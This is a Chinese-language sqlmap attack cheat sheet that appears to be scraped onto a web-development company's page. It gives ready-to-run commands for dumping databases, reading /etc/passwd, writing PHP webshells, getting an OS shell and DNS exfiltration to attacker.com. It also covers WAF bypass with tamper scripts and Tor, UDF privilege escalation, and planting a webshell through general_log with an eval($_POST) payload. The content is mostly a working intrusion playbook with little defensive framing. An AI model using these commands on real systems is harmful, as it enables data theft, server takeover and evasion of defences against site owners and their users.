鸡西市网站建设_网站建设公司_网站开发_seo优化
2026/1/17 13:00:56 网站建设 项目流程

一、注入扩大

1. 确认注入点

sqlmap -u "http://target.com/page?id=1" --batch --current-user --is-dba

(https请求记得加--force-ssl)

2. 扩大危害

目标 命令
爆库 --dbs
爆表 -D dbname --tables
爆列 -D dbname -T tab --columns
拖数据 -D dbname -T tab -C col1,col2 --dump --threads 10
读文件 --file-read="/etc/passwd"
写文件 --file-write=shell.php --file-dest=/var/www/html/shell.php
命令执行(--os-shell) --os-shell
带外回显 --dns-domain=attacker.com
交互式 SQL 终端 --sql-shell

一键梭哈

python sqlmap.py -u "http://target.com/page?id=1"--dbs --dump-all --threads 10--tamper=space2comment,charencode--random-agent --delay=0.5 --batch

3. 已知信息 → 节省时间,精准注入

已知项 对应参数 示例、解释
数据库类型 --dbms=mysql / --dbms=mssql / --dbms=postgresql 直接跳过指纹阶段
注入技术 --technique=U (Union) / E (Error) / B (Boolean) / T (Time) / S (Stacked) 组合:--technique=UET
注入点 -p id* 标记 -u "https://x.com?id=1*" -p id
POST 参数 -r req.txt --data="id=1" -p id 同用
Cookie 注入 --cookie="uid=9*" 星号或 -p uid
跳过探测 --skip-waf --skip-heuristics --threads 10 省指纹、省 WAF 测试
指定库/表/列 -D targetdb -T users -C id,pass 只拉目标数据
payload 数量增多 --level 0-5 --level 5 把“能测的都测”
payload 风险增加 --risk 0-3 --risk 3 把“敢用的都用”

一键梭哈

python sqlmap.py -u "https://vuln.com/page?id=1*"--dbms=mysql--technique=U-p id--skip-waf --skip-heuristics-D targetdb -T users -C id,pass --dump--threads 10 --batch

二、检测并绕过 WAF

1. WAF 检测

功能 命令
自动识别 WAF 类型 sqlmap -u "http://target.com?id=1" --identify-waf

2. 绕过方式速览

绕过策略 命令 说明
编码绕过 --tamper=charencode,apostrophemask,percent URL/Unicode/十六进制编码混淆
空格绕过 --tamper=space2comment,space2plus 用/**/或+代替空格
参数污染 --param-del="&" -u "http://target.com?id=1&id=2" 同名参数多次提交
分块传输 --chunked 绕过基于 Content-Length 的检测
延迟盲注 --time-sec=10 --technique=T 延长时间避免触发阈值
伪流量混淆 --null-connection --invalid-bignum 仅测长度/大整数绕过数字型WAF
代理/匿名 --proxy=socks5://127.0.0.1:1080 --tor 通过代理池或 Tor 隐藏真实来源
随机化请求 --random-agent --delay=0.5 随机 UA 与间隔,降低检测概率

一键梭哈

sqlmap -u "http://target.com?id=1"--identify-waf--level 5 --risk 3--tamper=charencode,space2comment,apostrophemask--chunked --random-agent --time-sec=10 --delay=1

三、sqlmap --os-shell 原理 & 替代方案速查

--os-shell 原理

1.写入两个 PHP 文件

  • 第 1 个:tmp****.php 负责 文件上传
  • 第 2 个:tmp****.php 负责 命令执行
    sqlmap 通过 INTO OUTFILE/DUMPFILE 把这两个脚本写到 Web 目录,再访问它们实现交互 Shell。

2.数据库差异

数据库 实现方式
MySQL INTO OUTFILE + UDF(sys_eval
SQL Server 启用 xp_cmdshell 存储过程
PostgreSQL COPYpg_largeobject

3.前置条件(缺一不可)

  • DBA 权限:--is-dba 必须为 True
  • 已知网站绝对路径
  • secure_file_priv=""(MySQL 允许任意目录写入)
  • Web 目录具有写权限且 PHP GPC=off(不自动转义单引号)

如果 --os-shell 失败

替代思路 命令/方法 适用场景
UDF 提权 手动上传 udf.dllCREATE FUNCTION sys_eval …SELECT sys_eval('cmd') MySQL root 但无 Web 写权限
日志写 WebShell set global general_log=on; set global general_log_file='/var/www/html/shell.php'; SELECT '<?php eval($_POST[x]);?>'; 无法 OUTFILE 但能修改日志路径
--file-write sqlmap --file-write=shell.php --file-dest=/var/www/html/shell.php 已知绝对路径且有写权限
后台拿 Shell --dump 爆管理账号 → 扫后台 → 登录后上传 Webshell SQL 注入无写权限但存在后台
--sql-shell 交互式 SQL 终端,手动构造 SELECT ... INTO OUTFILE 需要精细控制写入内容

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询